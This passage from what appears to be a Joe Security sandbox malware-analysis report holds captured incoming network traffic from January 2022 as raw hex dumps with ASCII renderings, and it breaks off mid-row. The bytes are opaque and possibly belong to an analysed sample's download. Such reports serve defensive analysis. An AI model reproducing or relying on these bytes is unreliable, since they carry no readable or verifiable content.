2022-01-15 19:23:31 UTC 3435 IN Data Raw: 5c a3 c3 2f aa fd 61 65 ea 26 f0 74 2d 1f 86 a0 7d 41 10 7d 5d e9 37 67 33 88 d3 a8 35 01 ef 72 e6 14 99 63 07 36 fd bd d4 4b c6 5b 4d 2e 26 fe d3 ce 82 59 75 c3 04 f6 f8 1d f0 cb 6c fc 44 98 8a d6 fc 3a 60 cb 37 93 51 a3 6a 62 ba d3 f4 27 36 0c bd 8b ce a5 61 b2 34 0d b7 71 16 8f 5a 6f 5d 47 6b 33 8b 22 91 a3 f0 03 1e 08 a0 06 82 e7 8f 38 bc 69 4d 72 53 1f bf 8e 81 fd 17 d6 8b 69 d7 c0 a2 fe 06 2e 1c 26 98 76 64 15 f8 2c 17 4b f1 b1 66 19 d4 5e 71 f2 d3 f6 c8 c5 14 24 6e 27 05 c3 c2 95 7b fd 3a 9f 58 e5 4c 99 88 38 7a 37 c7 5a 57 b2 45 ec 87 6d 92 f3 1e 74 ab be 16 cf 7c 20 be 29 a9 48 92 fe e9 fe 3c 2a 33 56 c9 b4 9a 40 53 49 56 52 35 3f f7 5a 9e 7e 7d 34 b9 66 5f 0b bd ff ab 5c be bf bc 42 76 c2 26 71 0a 08 46 18 ce 5c d1 a3 c9 e8 3e d2 51 eb 6c 70 cc Data Ascii: \/ae&t-}A}]7g35rc6K[M.&YulD:`7Qjb'6a4qZo]Gk3"8iMrSi.&vd,Kf^q$n'{:XL8z7ZWEmt| )H<*3V@SIVR5?Z~}4f_\Bv&qF\>Qlp

2022-01-15 19:23:31 UTC 3451 IN Data Raw: 6a 05 f7 49 25 d4 8d 6d bd 3c b1 65 6e 13 32 4d 31 30 98 4b 0f 75 cf 93 a0 eb 24 4f a8 f4 b1 a1 a5 e5 48 ba bc fa 40 be d4 23 5f ad 8d 7a ba ff e6 10 24 8f 8c 62 4e 82 96 96 08 16 c1 53 45 e7 b9 8d f3 34 3d 1b 9f d6 ae a5 b4 a3 fb cf 02 ff 9e 61 ad a0 18 a4 74 f2 3d 09 e5 95 8b 56 c0 2a 5c 6e 30 81 0f b4 b3 87 21 7e 74 ef 97 07 e8 8b c0 c9 e9 09 f7 a2 37 d5 19 39 b5 59 c5 63 12 5f 03 d8 2a a9 81 3e 59 52 9f f6 4b 3a 8c 55 99 ed 77 c0 4d 5e 3f 1c 58 70 bd 27 e4 37 b1 c2 a0 6f 19 b0 40 61 59 e5 9e 32 9a e0 ef 49 ba 1c 5b d9 b8 27 01 ae 5a 93 5d 79 4d 80 d9 6d 1f bc 9d c0 a0 09 ab 57 d0 d3 96 15 b1 1f c6 91 d5 cd 18 7d e6 13 b9 e7 65 11 bf 32 26 22 23 ae c1 37 b3 dc 79 62 c8 f5 6a 5a d8 08 8b 55 9d 40 ec f8 95 e1 53 a2 83 f8 89 1e a4 d3 49 ff d5 ea 6b b3 56 Data Ascii: jI%m<en2M10Ku$OH@#_z$bNSE4=at=V*\n0!~t79Yc_*>YRK:UwM^?Xp'7o@aY2I['Z]yMmW}e2&"#7ybjZU@SIkV

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 52 of 103

2022-01-15 19:23:31 UTC 3467 IN Data Raw: b6 a9 55 8d a0 a1 8e fa bf 1b 23 63 a5 47 9a 22 f9 ae 72 7c 27 3c 01 8c 42 35 a8 ca 63 38 0b 50 5a 98 c7 a0 8e c9 dc e4 84 86 b4 70 57 aa da 23 94 5f 66 d1 49 ac 1e 4f 1a c3 61 76 b6 16 1c 3c d5 88 56 71 0a 89 47 22 c1 9f 1b ec 52 41 a6 53 76 f4 48 e0 05 81 76 b0 4f 4b e0 69 e4 e4 9a 69 cb 63 63 93 4e 81 c5 ad 9a a5 c5 0a 70 c0 86 7a 81 83 4c ba 73 46 51 f8 13 fe 83 ad fe 24 2b 95 c9 c8 e7 98 9c 69 90 06 4d 2f 6d 92 a1 c5 fb 39 24 42 b4 bb d9 81 7b 30 2a 8b 80 a0 89 cf 2b cd e7 40 66 9d 48 44 b3 ba c7 dc 4c f2 8e 62 a4 b5 51 5a 3b d2 7f 6f bd eb d7 8f 0d 87 7e a4 9f 1a a8 e8 fb 56 ff da 77 f6 f6 d0 aa c6 3a dc 33 6d 66 83 73 7c 18 40 e7 70 fa cd e5 e1 b4 df 2b 41 e5 5f f9 58 35 08 4b c9 01 ad 84 da 7b ae6f 1f 72 83 60 87 b4 c0 f4 f3 3f 53 1f 22 d1 db d3 Data Ascii: U#cG"r|'<B5c8PZpW#_fIOav<VqG"RASvHvOKiiccNpzLsFQ$+iM/m9$B{0*+@fHDLbQZ;o~Vw:3mfs|@p+A_X5K{or`?S"

2022-01-15 19:23:31 UTC 3483 IN Data Raw: 87 60 39 94 bf a5 7e f6 93 ac 7d 6f 4b 38 8e 5d cf ae 64 30 04 0c 7c 52 b2 53 1a 91 0e ed d6 84 9c 38 6d 48 a7 8a ae da 37 c0 98 0f 65 02 16 7d e7 bc 20 0b 0e a3 4c db a9 0c c2 ec 25 c3 59 78 b0 9f 5e 4b 93 9a 44 43 cb e0 2a c2 b8 83 0d e4 57 e0 f2 4d d4 19 a0 cb 6c 07 76 af eb ab 66 2b 86 2f 78 3c ed c1 c9 7a 40 95 98 bc 2d d2 7c f4 1a e2 99 78 72 09 e0 c8 5b 58 25 cb e7 3c 63 3f b7 0e 99 32 9f 1c 31 70 18 d1 1e bc 8a df 7c 2e 4e 5a 72 21 6c 7e 21 57 ea 7f 96 fe 30 2d d9 21 c5 a0 7a dd bc 76 63 6b 3c 64 ad 78 03 a6 93 02 2c be 2b a3 e4 4f 20 a4 9b ac b3 bd 47 4a 61 bc 81 00 54 d5 1a40 66 fc dd 68 be d9 31 72 cd 96 50 96 50 ac 1d 8a 36 0c 84 47 31 e3 be 9a 40 15 13 30 0a 7e 19 87 4b 35 a5 25 d6 96 8b 14 0d 07 ad 66 7a c3 5b 48 eb 4b fe 28 88 7d ec 86 74 Data Ascii: `9~}oK8]d0|RS8mH7e} L%Yx^KDC*WMlvf+/x<z@-|xr[X%<c?21p|.NZr!l~!W0-!zvck<dx,+O GJaT@fh1rPP6G1@0~K5%fz[HK(}t

2022-01-15 19:23:31 UTC 3499 IN Data Raw: 3b b4 73 41 53 0f 22 2a 0c f2 16 fa 5c 7c 21 78 c2 18 9c 25 81 30 bd 97 39 45 e1 a0 b8 bb fe 72 76 32 5e c8 6d 2a 95 03 01 bc e8 59 b3 48 e3 3e 01 6f 83 1e 1e 13 70 8e 77 57 9d a1 e4 2e 19 e5 98 57 32 7a a9 10 88 89 1c f1 e6 18 7b 4b 0e f2 31 2a f0 c8 1e 45 61 36 e1 8b 86 e7 7b ba b6 5d 04 f4 45 50 ce 5b d2 e5 03 68 da 7b f4 39 bf 3b b2 c5 dd d6 fe 60 00 59 2d 74 ea 44 3c 05 34 4c ef b5 7b ed 9a 0d 28 49 58 3d 5c 3b 15 7b b0 51 c1 7f e9 1e 82 7b 04 03 c8 1c ee 6b 41 7a 00 f9 4e 13 c0 15 e1 75 c3 53 b8 69 8d c8 fc ce e8 de 6b 5e e1 79 6b 7e 20 da 31 c9 b2 0f 83 de 90 6d be df 3b 36 b3 5e 0d 6d 7a 24 c5 40 97 c1 68 fc 3a 5b fa 1b 70 aa 64 27 f7 65 45 51 60 9b 43 ba e6 41 3d 08 de 07 db e4 97 84 1a 99 95 3e 8f aa 48 6c 66 68 d7 a9 fb 75 8d b4 ff 76 b7 ea 09 Data Ascii: ;sAS"*\|!x%09Erv2^m*YH>opwW.W2z{K1*Ea6{]EP[h{9;`Y-tD<4L{(IX=\;{Q{kAzNuSik^yk~ 1m;6^mz$@h:[pd'eEQ`CA=>Hlfhuv

2022-01-15 19:23:31 UTC 3515 IN Data Raw: 7d c1 b0 14 3d 47 84 e9 a3 85 7c 37 a0 28 49 9b 65 0e 13 98 4a e9 49 e4 ca 10 56 3f d5 6c ce 6b 62 a4 c0 13 bd b6 f3 64 8a 95 0f a3 47 48 46 22 1a 37 5c 5d ac 45 b5 81 1d ae 5d b2 b9 58 52 da 62 70 f3 6c c9 b0 4a d9 e5 81 c8 34 1f fb 0a 07 f1 ca 65 ca 0f 4a d2 23 f2 95 d5 43 6b ba bb ab 8e c0 32 fc 29 3b 0b 00 ff 6a e2 dd c8 50 83 3f 9f 2e a0 b7 9e 91 ee 78 47 3f fa 07 ee 84 d7 eb c5 29 0c 88 7a 9c 09 a3 d8 ed bd f3 d4 98 fc e8 b1 8d 2b a6 52 5c 2f 47 54 5e 24 d9 59 95 ae 8a 11 8e 90 d1 80 c1 07 f5 cd ae da 29 32 9b 65 c6 30 1d 28 7c 33 72 f0 12 1f 5b f8 fd 33 70 bc a1 29 48 d9 f1 d8 0f 18 3e a8 b2 7e cb 1d e4 00 3c 33 6f 17 e2 f3 76 b5 9a fe ac 96 7d 30 61 36 30 e3 ea a8 e6 f0 26 13 e5 ab 69 bd 4e 12 6d df 06 e6 6f a9 4b 9b 0e a9 bd 2f d0 c2 e8 ee 46 30 Data Ascii: }=G|7(IeJIV?lkbdGHF"7\]E]XRbplJ4eJ#Ck2);jP?.xG?)z+R\/GT^$Y)2e0(|3r[3p)H>~<3ov}0a60&iNmoK/F0

2022-01-15 19:23:31 UTC 3531 IN Data Raw: 48 4d 91 1e e0 66 19 4a 45 a4 63 2c 55 4c e3 d9 cc 6e f8 50 8b 1d 01 b4 06 9c 8f 54 88 02 7a 37 61 7b 66 e3 6a 7a 34 64 c1 2b 7e c7 39 41 3b ab e1 9f 1f db b0 ad d8 90 34 58 95 e2 23 09 5b 6b 71 84 09 25 1f 87 69 78 d9 4c 20 4a ce 75 72 21 07 18 bd c2 c5 9c c0 2a 32 b7 0e 95 9c 7b 37 4b dc d0 f4 ef ee 2c cf 10 29 ec 8a 22 3e ee 7d 7b 56 bc 57 3c 9d 9b 33 5e 51 08 1c 91 09 ba 47 a1 eb 09 09 ba e5 52 75 36 4b dc 9e 71 73 e8 49 1e 07 20 29 ae 3a 44 27 c0 49 5e 91 53 3d b5 01 2e fc 4d 8a 26 6c 65 84 6a 46 3b c5 cf 02 42 d8 4f ca df 27 21 7f 1f 33 fe 2c e0 99 1e 47 40 65 4b 7a a2 da 18 ca 34 a0 02 bc 63 b3 bf 47 cf 4e 8e 9d 69 b9 71 40 88 8b 8e ce c1 b0 71 22 f9 69 9a 6f 6b 22 99 e3 05 9c a9 9a 53 14 dd c0 0c bd 6b 20 d6 f2 51 1d cb be c2 47 92 0f 57 9c eb 20 Data Ascii: HMfJEc,ULnPTz7a{fjz4d+~9A;4X#[kq%ixL Jur!*2{7K,)">}{VW<3^QGRu6KqsI ):D'I^S=.M&lejF;BO'!3,G@eKz4cGNiq@q"iok"Sk QGW

2022-01-15 19:23:31 UTC 3547 IN Data Raw: 6e 70 0e 6d 14 69 d9 d5 79 5e 7f 10 c6 1d ff dc 97 eb 12 2e a2 9c 51 d1 8d bc e2 6d 03 05 03 0e f6 58 18 ac b698 df 97 44 69 ac dd 28 5e 7c e9 d3 10 5a 1a b2 e5 b1 de a4 08 39 2d ae 99 91 88 70 c6 21 22 16 fe 76 f8 f1 f9 e5 62 3f 896a 48 25 96 4f 7e 7c fa a3 08 f7 2f e8 20 79 40 12 4a 85 99 60 f2 79 ee c1 04 11 ec 72 4e 9b de f2 92 3d f5 a5 12 67 95 b4 23 83 8e d2 7b 62 9d aa 59 23 88 b5 0d 62 00 87 43 36 8a 9f 44 42 3b f1 7d 68 b7 b2 4b 3b eb c6 82 66 8e b1 9a d8 08 40 a2 2e 66 8e 22 1d 91 6b b3 0f 20 fd 05 58 5a 00 ea 4e 13 8b dc 61 a7 80 13 59 c9 f5 40 27 6d 7c d4 c8 ca 23 cf 0b cc e4 59 71 bd 50 51 3e 77 ee 42 cc 67 e4 cd 67 77 cb 2c a1 73 13 9a d7 df f6 72 67 6c 1d 16 fb ab b2 f4 cb 99 1b b6 3a ac c5 e9 b1 6e 15 b5 19 99 9b 14 a2 53 ef ae 41 b2 24 Data Ascii: npmiy^.QmXDi(^|Z9-p!"vb?jH%O~|/ y@J`yrN=g#{bY#bC6DB;}hK;[email protected]"k XZNaY@'m|#YqPQ>wBggw,srgl:nSA$

2022-01-15 19:23:31 UTC 3563 IN Data Raw: 84 03 ad 40 7b 2b 55 0c db 66 16 38 8a e5 98 58 d4 e1 6c 4b 92 37 ca 92 f0 33 4c 8c f7 24 e6 37 49 19 ec e6 75 af b7 4f 86 2b 16 b1 b7 f7 ad 2e e3 37 b1 4b 37 30 11 2e ed e4 f7 8c c3 9c f1 bb b7 ad 98 46 e7 37 e1 32 05 66 d8 8e 2e 24 84 08 05 69 36 54 b3 46 8f 71 2d 3d db 62 6c 57 82 67 5b 3e 43 7d b7 7a 37 f1 93 da 86 cd e2 cf 97 d0 d5 32 8b d7 ae 9c ca 4f 54 7a 7f cb ed 01 83 4f 5a 68 36 3e 10 fe 5c 61 61 12 57 92 30 bb dc df f0 cc ab 2d bb e8 05 30 46 d4 17 fa e2 bc 27 0f e6 12 c9 6b 53 f8 f5 f9 e8 15 b7 b0 80 ca 27 2f 2c 16 6c a8 47 b5 2c e4 6d a1 15 1c 10 9f 91 9a 36 26 9b df 32 4f 11 46 a1 05 7b da 76 1d 82 b1 24 bd 88 e9 8c c1 17 0d 43 b4 a1 9e 35 8f 84 26 4b 24 8b f9 94 42 03 92 3b ce f6 e1 f6 45 9c 68 18 15 1d 0f 6e 08 d4 11 5f 9d cc e8 67 39 59 Data Ascii: @{+Uf8XlK73L$7IuO+.7K70.F72f.$i6TFq-=blWg[>C}z72OTzOZh6>\aaW0-0F'kS'/,lG,m6&2OF{v$C5&K$B;Ehn_g9Y

2022-01-15 19:23:31 UTC 3579 IN Data Raw: 6a 2f 27 ae ad d8 7c b8 97 8c 46 36 95 c0 0c dd 85 52 64 82 6e 49 00 4e dd b9 53 96 9f ff 64 ed e3 5f 3e 32 63 f8 a8 93 26 68 94 4b 3e 58 b9 61 56 99 08 74 35 16 82 01 3d f9 03 eb e5 1b 91 b6 e5 7d f5 57 25 ff bc 4e 92 c7 c9 dd 71 5b 79 d1 75 bd 34 98 83 8c a2 7d e7 ca 91 50 f6 28 c3 a8 89 9d fd 51 09 92 f3 0f d2 f9 cc 2e 03 a3 af 11 7c 51 2a c2 e5 8a8b 6d 63 1d 76 64 67 6e 36 39 e4 15 1f 89 ba 53 5f 2d 6b e6 0b bd 2f 45 ce eb ce 35 59 a7 90 74 6f 15 3a 67 55 e5 5b 2e 50 68 a2 4d 50 0a ec 9b 0f 4f 5f 3f ad c3 f1 fc 85 4c 19 bb 61 a6 9e 9b f2 04 bb b0 53 f9 ad 8e f5 6a b1 8f 68 bb ac 62 82 ea 01 c7 69 cb 6d f7 43 ed e9 48 f2 0a 78 aa fa 28 fc bd be a6 01 8d 41 8f 15 31 5f 26 f2 8e 15 3c 68 f3 76 de 37 2f ba 08 47 58 d8 ea fc 8d d6 8f b8 48 66 35 08 97 93 Data Ascii: j/'|F6RdnINSd_>2c&hK>XaVt5=}W%Nq[yu4}P(Q.|Q*mcvdgn69S_-k/E5Yto:gU[.PhMPO_?LaSjhbimCHx(A1_&<hv7/GXHf5

2022-01-15 19:23:31 UTC 3595 IN Data Raw: 1a d4 f4 cb 8f b2 9c b1 b8 2b ff b2 54 5d 5a db 29 43 24 ab da 5e bb 05 6f 20 9a 95 c1 f0 b8 0a 83 12 9e a5 b0 b7 4a 8d 34 c4 3b 6f 7c cf 4d 5d 76 9f dc 3b d1 1f 23 41 c9 7c b8 04 0f 3c 2c 30 9c 7a 99 a8 ae 20 48 b6 70 43 9a fb ff 1a 97 4d 84 27 e6 5c a4 02 6f 40 55 85 cc 12 86 7a c7 89 86 b4 4d 1c 0a 98 b2 a2 46 8c f0 6a 14 d6 7e 7d cd 89 b0 c9 89 f2 eb 41 83 91 cc 8f 9b 85 65 9f 36 76 44 b5 42 6b 03 9a 71 39 db 21 1d 00 93 fe de 8a e1 f0 f5 ab f7 7e 3b 6f e8 c4 0f 0b 4a 8b ba 63 42 07 a9 cb d1 58 21 25 7a 37 26 4a f4 b9 41 63 70 ef 69 63 47 f3 a6 96 ae 1b 71 33 ac 18 6a 87 d8 d2 42 13 12 27 92 0a f9 06 0d bc 93 d5 de 1c 77 09 39 23 41 22 9e db 0d 38 f3 2b f2 69 c6 10 5e e6 cd 6f a7 9d f8 2e 74 f5 2f 43 28 3a 6c 42 ed 06 bc 3a 84 69 0e 3e ea 4e 1a 43 60 Data Ascii: +T]Z)C$^o J4;o|M]v;#A|<,0z HpCM'\o@UzMFj~}Ae6vDBkq9!~;oJcBX!%z7&JAcpicGq3jB'w9#A"8+i^o.t/C(:lB:i>NC`

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 53 of 103

2022-01-15 19:23:31 UTC 3611 IN Data Raw: ee ee 93 b1 cb d4 aa 1d d5 ca 4b bc 7f 3b 2b 84 83 9f 3d 56 d9 20 61 c4 a2 8f 22 bf 3a 4b e4 35 24 40 65 0b 97 b2 ab 32 a4 56 e5 b9 1d 1f 38 1d 8d 22 0b 05 03 5f d3 f2 5e a8 ee c5 dd 1d 93 8d dc ec 21 da 41 03 4a 4e f6 b1 13 73 86 d9 b9 8b 89 1f 28 9f 7a 07 2c 5e 1b 62 01 e3 b7 5a 26 e3 67 6e 26 66 0c cf 39 3f 59 8e b5 7d 5c ec 24 ab ca 6d 52 5d 8d 4b bc b2 e1 4f c2 53 26 e6 55 a2 24 37 b2 4b 3b d9 32 38 6d eb 37 c2 f4 58 01 7a f9 6f d9 f2 50 e1 a5 9a 40 4d 4b 99 25 31 44 83 bd 50 50 95 ef 11 54 3e 82 ca 12 95 bb 35 60 5f e8 77 6c 05 f0 ca 93 e6 6b fa 1b 03 89 bb 3e 1f db 3a ef 87 84 fa c6 8c 81 bb d7 bd b6 42 d8 60 28 d8 94 61 83 57 85 b9 03 18 74 ee e6 76 22 3a 4b 27 d5 b5 34 ec 0b 4f 4e 0a 19 a6 ab 94 2c be e7 ad ee ed 45 9f 4e be 66 16 e3 3c f1 24 4c Data Ascii: K;+=V a":K5$@e2V8"_^!AJNs(z,^bZ&gn&f9?Y}\$mR]KOS&U$7K;28m7XzoP@MK%1DPPT>5`_wlk>:B`(aWtv":K'4ON,ENf<$L

2022-01-15 19:23:31 UTC 3627 IN Data Raw: c1 27 36 f7 25 4a 93 26 0b 21 46 29 dc e5 7a 34 eb 76 fc 6d 1e 49 89 ad d2 9f fe 39 66 7f 9d 2a 77 a9 e6 ae 3a 43 a8 08 d7 58 ad 88 4e 41 ae 4a 6f ce 04 60 b1 08 b0 02 f1 23 a1 ad 21 29 f2 12 86 43 69 fb 40 28 78 07 44 8c 3a 07 5b 7b ac 72 26 fd 19 97 d2 0c af 17 5a 89 db 84 cb 14 a6 75 f2 4d ea 6d aa e5 cf c6 eb 9f 26 7d 09 64 f0 5f cd ef 08 70 b0 22 2f 5c f0 8c 12 28 22 10 9b 3f e2 80 d0 b8 73 fa c9 f6 8d 5c a5 7c 48 13 1f e3 3f b9 16 d7 e7 2b d2 bd 25 21 e2 42 dd 36 2a 04 85 bc 97 cb 63 89 2d ca 0a 20 1e f6 83 ef f4 92 d0 c7 82 57 7b a4 de 91 9a d2 67 5d 99 3f 2f 6d 26 72 47 bd 1a 46 8d 8d cd 2d 6f cb 2e 6a 4d e8 57 87 25 98 77 7e c8 1c b6 a2 ba 66 97 8e ba c4 79 de db 7b 46 c8 81 3b 20 e0 5d f7 61 d7 56 ae e3 10 7e 66 e0 e6 7f 97 e2 a0 bf ea e9 37 43 Data Ascii: '6%J&!F)z4vmI9f*w:CXNAJo`#!)Ci@(xD:[{r&ZuMm&}d_p"/\("?s\|H?+%!B6*c- W{g]?/m&rGF-o.jMW%w~fy{F; ]aV~f7C

2022-01-15 19:23:31 UTC 3643 IN Data Raw: 99 d8 1d cd 41 d5 4f 34 3f 43 a1 30 aa 2f 2b 38 48 c7 03 e7 16 c8 b7 fd 9c 27 f8 4e 98 85 24 00 ef 43 df bf 24 c7 16 c9 b3 13 7e f6 11 98 e1 ca ae c1 c8 8b 52 0c c8 b5 55 94 22 20 21 89 93 78 e2 74 6f 5c dd ec fb 20 44 83 70 88 ef 9a b2 47 3d 3f e9 48 aa 84 7d 5d 3f 8b e8 b9 fd 18 a6 70 36 3a 22 1d 52 89 76 49 e1 d2 cd 28 38 e3 02 b2 ae 12 4d 76 cc ba 8b 50 db ba 37 a0 23 98 c3 d0 53 de 12 63 e4 7e be 74 2c 7c 73 07 f7 ef fa 90 e3 10 ee b2 d3 51 1c 23 39 4f 40 b5 91 27 51 21 27 9e 66 55 c4 dd db 51 6f 46 0f 01 cc 99 61 5b 1f 69 92 1d 97 d5 5b 68 14 58 2e 0a bd 4a 91 4e b5 cd bb 0b b9 0e 18 8b 7d 7e 70 48 62 91 0c f2 34 4a d4 28 d1 b0 38 fd e2 52 b4 24 83 f5 c0 d7 ad 51 8b 9d c0 72 50 29 89 71 80 63 e0 0f e4 54 49 0d 3c e0 74 61 0a ea 39 20 69 4f 4e 3b 40 Data Ascii: AO4?C0/+8H'N$C$~RU" !xto\ DpG=?H}]?p6:"RvI(8MvP7#Sc~t,|sQ#9O@'Q!'fUQoFa[i[hX.JN}~pHb4J(8R$QrP)qcTI<ta9 iON;@

2022-01-15 19:23:31 UTC 3659 IN Data Raw: b1 67 eb 39 8a 7f 28 00 64 1e f0 4c 7d 27 e0 fc 64 77 8d 40 b7 a2 10 8c 36 12 f4 be 22 98 eb 4e f2 6c db 4a f3 97 90 e0 95 9a 47 7f 94 5f 62 ea 5f 57 d2 a7 1f 79 6b c1 62 de 47 c7 c9 37 50 ce 1f 87 21 07 8d 9d e2 79 e5 59 b3 b8 5b 5a fa cb 6e 47 be fa 1e 4b 46 e7 1c 8f 81 22 69 e3 d3 18 b2 b3 a4 c5 46 17 10 8b be 46 ae 31 f1 1f 1f c9 0a 8e 89 11 aa df dc d8 9c 9e 5a a4 25 63 3a 79 82 37 54 d1 bc 89 a4 c6 77 61 00 9d 96 27 6b fe 26 94 41 53 31 80 1b 68 9c c0 6b b9 35 85 9c ab c4 22 20 e7 91 c6 49 6c 46 51 23 55 95 34 bf 06 0f e9 4b 13 55 02 f5 85 73 2c 46 5c f2 2b bc 31 07 a1 69 04 6f 08 6a d7 2e b4 98 94 3a 06 e3 a8 bd 59 87 29 28 be 3c d9 ca 33 c5 5e 96 0d 84 e3 31 69 e7 c0 cd 32 43 e9 be f8 18 48 91 fa 18 00 08 5d 68 f9 a4 24 c0 94 50 11 a3 39 03 de c7 Data Ascii: g9(dL}'dw@6"NlJG_b_WykbG7P!yY[ZnGKF"iFF1Z%c:y7Twa'k&AS1hk5" IlFQ#U4KUs,F\+1ioj.:Y)(<3^1i2CH]h$P9

2022-01-15 19:23:31 UTC 3675 IN Data Raw: 07 36 50 15 06 16 bc c0 10 e9 3d 1b 97 c2 71 ca 03 58 37 f1 ff 12 47 c1 c4 41 40 fb 37 df a7 c2 73 66 f7 b2 6f 3a ca 07 1e 62 a4 69 11 72 2e 04 f5 82 66 71 66 31 44 91 d5 ff cf 7f ec d4 87 4a c3 7b 48 53 9c 9e b4 b2 46 61 8f 1f 50 6f 54 6b 6f 8c 6b f8 4a c3 f7 20 27 d8 6b 7d cf 7a 8c 62 31 ef e1 73 4f f4 4b b2 a6 3d 02 e1 23 f5 a0 45 cd 6d bb b8 80 d7 dc 24 3b c9 fb 79 7f 01 3e b4 da 24 1a 70 a1 7d 89 02 b3 d6 37 8a 19 2d d6 d1 33 88 c1 c0 ae 6a a9 50 00 14 91 3f 46 27 a6 9b a2 93 d7 7c 57 c6 67 7f bc 41 e2 06 5d af 67 3c 99 54 0d 8a db 96 4e 7a 85 71 74 27 ea 5e 81 4c b4 a9 27 8f 4f ea 6c ae 05 3f c5 66 c5 56 5b 8e 8e 76 a0 df 06 c6 63 be b0 9c 96 9f 3c 96 f5 a3 e2 b8 36 4b 58 57 20 b6 d7 53 ea a2 aa c2 b1 07 5c 4e 87 9b d7 04 27 d7 ae 51 4f 10 84 14 ce Data Ascii: 6P=qX7GA@7sfo:bir.fqf1DJ{HSFaPoTkokJ 'k}zb1sOK=#Em$;y>$p}7-3jP?F'|WgA]g<TNzqt'^L'Ol?fV[vc<6KXW S\N'QO

2022-01-15 19:23:31 UTC 3691 IN Data Raw: 33 c1 7e 3a 88 d8 a0 ae b9 d7 39 34 fe d4 eb ae d5 cf 1a ba 1a 03 3b ff 48 06 4a fc ce 92 1a 52 ca 86 63 ca 9c 63 ca 66 16 75 67 3b 92 e3 17 26 4b 6b 14 89 b0 81 c3 78 bd ac df 81 ea 55 6e 80 a1 6f 68 70 62 b5 93 fa 4c 48 90 b4 f3 fb c4 83 09 2e c5 34 6b 52 c5 4c 68 b4 5b 09 8d b7 cd 5b 8f 6f 87 36 08 6a c3 b8 e0 c6 55 c9 2c ff 80 7d 6f a2 f6 0d 20 90 46 8e ac 7b 7c 84 d1 20 4c c2 88 71 b9 b8 b5 4c fc cc c9 8d b6 71 f2 24 eb 2e 76 f9 ce 80 34 40 20 a6 b1 83 06 98 43 01 71 b3 20 e4 a0 14 22 f6 e9 8c 1b ff d6 9f 50 fe 24 54 38 f3 12 11 f4 03 63 36 01 9c 83 47 e6 64 16 f8 2a 52 ff c5 5f 19 1f e0 e2 4b 68 f9 2e 84 d2 70 81 29 13 81 85 a3 eb 90 0f 9a 2e 59 ea e8 e9 4c 00 6d 3e 1d 0b ef f9 ae 2f 7e 60 a6 e3 6d b5 4a 9b bb 87 f6 04 39 04 0c 26 54 49 64 b2 15 b1 Data Ascii: 3~:94;HJRccfug;&KkxUnohpbLH.4kRLh[[o6jU,}o F{| LqLq$.v4@ Cq "P$T8c6Gd*R_Kh.p).YLm>/~`mJ9&TId

2022-01-15 19:23:31 UTC 3707 IN Data Raw: 12 96 43 34 18 88 d6 06 fc 5e 7e 0e ef 2f 79 3d 74 ee 85 fb 86 5c 83 60 81 33 a1 2a 89 e7 b2 d4 96 bf 89 c9 3f ef 2d f7 a6 ff ec 59 f8 79 a1 cc 33 c2 dd 3e 3c 54 f3 aa 49 fd 50 61 26 75 87 20 a8 e2 c6 e3 e6 0a a7 92 c9 09 97 50 a6 0d d8 72 08 23 79 54 11 a0 8f 3a 94 d1 79 5e 3f b4 59 15 53 8a 43 c4 7d c1 53 46 32 d3 ad 66 8d 3b 51 c2 33 d7 fd 12 49 fc 00 9f 57 02 39 90 60 08 5b 47 4a 8b d1 cf 23 78 18 4b da 5b 21 d6 c4 40 59 70 2c ad 6d 74 d5 5a 94 fd 8b 33 94 f6 e9 0c 24 10 4f c0 7e 8d be d9 2d 31 32 65 7e 02 bf 99 66 79 e4 1f 59 6f 36 35 5b de 5f 19 21 a0 b1 98 c4 c4 bf 8e 71 63 b3 92 ff e5 9b fc de ec ed c8 6b 84 53 e6 94 f2 4a ae b1 c0 c7 83 61 1d 03 c3 2c 1a 77 86 cd bf 1b 24 de df 5b e2 62 e8 62 6a 20 7d 8d ac e7 e0 53 72 dd 35 58 d2 0b 8f f6 f9 df Data Ascii: C4^~/y=t\`3*?-Yy3><TIPa&u Pr#yT:y^?YSC}SF2f;Q3IW9`[GJ#xK[!@Yp,mtZ3$O~-12e~fyYo65[_!qckSJa,w$[bbj }Sr5X

2022-01-15 19:23:31 UTC 3723 IN Data Raw: 9a 95 73 bb 95 44 79 73 24 13 0e 16 39 61 17 e3 a0 88 cf 37 36 51 dd 93 2c 6f 88 c9 a5 0b 63 6a b3 df c3 87 05 6e 14 81 dd b4 c6 65 97 2d db d1 49 58 81 94 8f 6e 0d 30 ba 97 c2 8b df b0 03 fc 19 de b4 e4 8d 3b 5c 75 71 f2 46 98 93 c0 db b9 27 9f 6c b8 45 e8 28 3e 72 0a ec 2d bb ea 49 e9 ea b0 fb 8e e7 fe 2d 44 ac d6 89 3a 2f 2a 16 98 b3 1e be 18 f9 80 2a 6f 86 eb ec 95 a9 ec 2b ec 59 2a 4b 0c e1 30 5e 99 61 b7 cb f8 fa d3 ec 2e 61 27 52 f9 65 c0 73 d0 18 7c 87 f6 ee 70 29 e7 5f cc 09 5d 3e 49 6f 94 06 0b 72 e1 77 79 1d b2 1c d6 70 a9 05 a0 eb 7e b9 ed 95 3c 24 9c 0d 3c b3 83 6e eb a0 9a 0b cf 11 98 b2 2f 42 ee 49 e4 1d 0c 18 2b 72 a6 52 47 ed 6e e1 9b 36 3a 2a 92 f5 14 b1 58 6c 53 90 72 d8 e4 a1 49 68 43 35 ac 60 a5 d4 b2 f8 a5 02 d7 5a 62 bf 6b 61 77 29 Data Ascii: sDys$9a76Q,ocjne-IXn0;\uqF'lE(>r-I-D:/**o+Y*K0^a.a'Res|p)_]>Iorwyp~<$<n/BI+rRGn6:*XlSrIhC5`Zbkaw)

2022-01-15 19:23:31 UTC 3739 IN Data Raw: 34 6a 41 50 a3 11 29 f6 5b 9d 9a 73 63 36 76 fa e0 00 97 4d 6a 1a b5 f4 c3 77 19 68 32 cf 77 b8 b0 17 b5 31 05 10 99 ad 52 8b 7b a9 03 21 24 c9 9a 7d ff d5 c6 25 4d ef 63 b2 8d cf 81 35 cf 62 30 6a c5 3e 04 e5 61 97 03 4f 2d da 52 a1 92 ab e9 dd d6 5d 25 1d d3 de b5 3a 49 95 6c 51 d3 ae f2 2a 02 29 c3 17 07 62 2c b9 01 16 7a 2a b2 73 28 ca db 1c 39 b9 60 54 78 26 f4 ff 92 b1 53 92 05 1b 61 74 db c9 ea 63 2b 2b e0 50 3f 2f a9 ee c9 0c 56 c7 9d 35 b7 2d 5f a5 7d e9 ab 71 fd 5c b3 5d 25 0a e9 9e bc 36 9c f7 a1 dc 4d a3 45 10 b2 c7 29 35 55 23 